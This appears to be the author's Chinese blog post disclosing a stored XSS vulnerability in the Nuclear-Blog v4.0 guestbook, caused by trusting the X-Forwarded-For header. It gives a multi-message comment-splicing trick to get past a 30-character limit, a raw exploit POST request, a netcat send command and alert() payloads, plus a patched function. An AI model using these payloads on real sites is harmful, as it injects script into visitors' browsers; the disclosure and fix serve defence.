Nuclear-Blog v5.0 马上就发布了,我就把这个 Nuclear-Blog v4.0 留言板的 XSS 漏洞,公布了吧。
其实此漏洞,在当时发布 Nuclear-Blog v4.0 源码的当天,就被发现了,发现的人是t00ls某核心,然后我直接补了,但是网盘下载的依然没补,所以目前市面上所有 Nuclear-Blog v4.0 均存在此漏洞,不知道有没有别人发现。
这是一个XSS漏洞,这个漏洞纯属是我的疏忽,漏洞在文件“liuyan/liuyan.asp”,看代码。
liuyan/liuyan.asp,第 113 行:
…… 以上省略 …… Function GetIP() '绕过代理获取真实IP Dim StrIPAddr If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then StrIPAddr = Request.ServerVariables("REMOTE_ADDR") ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1) ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1) Else StrIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR") End If GetIP = Trim(Mid(StrIPAddr, 1, 30)) End Function …… 以下省略 ……
漏洞产生原因:
这段代码看似正常,这段代码的功能是绕过代理获取用户真实IP,漏洞产生在函数“Request.ServerVariables("HTTP_X_FORWARDED_FOR")”。
这个函数取到的值是从客户端发送的HTTP头取到的,所以 HTTP_X_FORWARDED_FOR 可以使用http头伪造IP地址!当然也可以放其他的内容,漏洞就这样产生了。
这个其实很早以前学习Asp的时候,我就知道了,但不知为什么,当时抽风,居然用了这个函数,还没检查,我去……
类似这种函数的有很多,就不一一解释了,总之漏洞就是这么产生的。
但是这有个问题,看底下的蓝色部分,数据的长度被限制为 1-30 个字符,所以想插入XSS代码,有点操蛋,长度太短了,小于 30 个字符的 JavaScript 代码貌似没有 ( 正好三十个字符) ……
呵呵,不过这个稍微动点脑子就可以了,先发一条留言,插入:*/,再发一条留言插入:*/alert(/xss/);/*,最后再发一条留言插入:
…… 省略 Html 代码 …… …… 省略 Html 代码 ……
所有 /* 和 */ 之间的代码全就被注释掉了(/* html代码中的注释符号 */),这样 JavaScript 代码就完美的闭合了,然后你想插入多少代码都没问题,都可以执行,长度限制就毫无作用了,最重要的是 Firefox 和 IE 全都支持,实例代码如下:
|
|
|
|
|
|
Exp: POST /liuyan/liuyan.asp?save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */* X-Forwarded-For: Hello World! Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 127.0.0.1 Content-Length: 324 Connection: Keep-Alive Cache-Control: no-cache Cookie: AJSTAT_ok_times=1; TLWNHIRSISRTUNOJIKUD=RDHRHVSXNBYEHUFEPSYNZLOGLGBEJQEPROBCUOEL UserPic=..%2Fimage%2Fface%2F1.gif&mingzi=%EF%DA%D5%F2%CD%F5%B4%F3%CF%C0&liuyan=++++%B4%F3%C2%B7%B3%AF%CC%EC%A3%AC%B8%F7%D7%DF%D2%BB%B1%DF%A1%A3%BD%F1%B8%F6%B6%F9%C2%B7%B9%FD%B9%F3%B5%D8%A3%AC%BB%B9%CF%A3%CD%FB%B8%F7%CE%BB%B5%B1%BC%D2%B5%C4%D0%D0%B8%F6%B7%BD%B1%E3%A1%A3%28400%D7%D6%D2%D4%C4%DA%29&ok=%CC%E1%BD%BB%CA%FD%BE%DD
啥?不知道咋用???? Look → Nc.exe -vv lcx.cc 80
修复方案,直接替换 GetIP() 整个函数即可,或者干脆升级到 v5.0 吧:
Function GetIP() '获取IP Dim Tmp Tmp = Request.ServerVariables("REMOTE_ADDR") IF Len(Tmp) 15 Then Response.End IF InStr(Tmp, "'") > 0 Then Response.End IF InStr(Tmp, """") > 0 Then Response.End IF InStr(Tmp, " 0 Then Response.End IF InStr(Tmp, ">") > 0 Then Response.End GetIP = Server.HtmlEncode(Tmp) End Function
留言评论(旧系统):
文章来源于lcx.cc:【经典】公布一个 Nuclear-Blog v4.0 留言板的 XSS 漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
2023年3月14日 下午2:18 1F
啊alert('ts');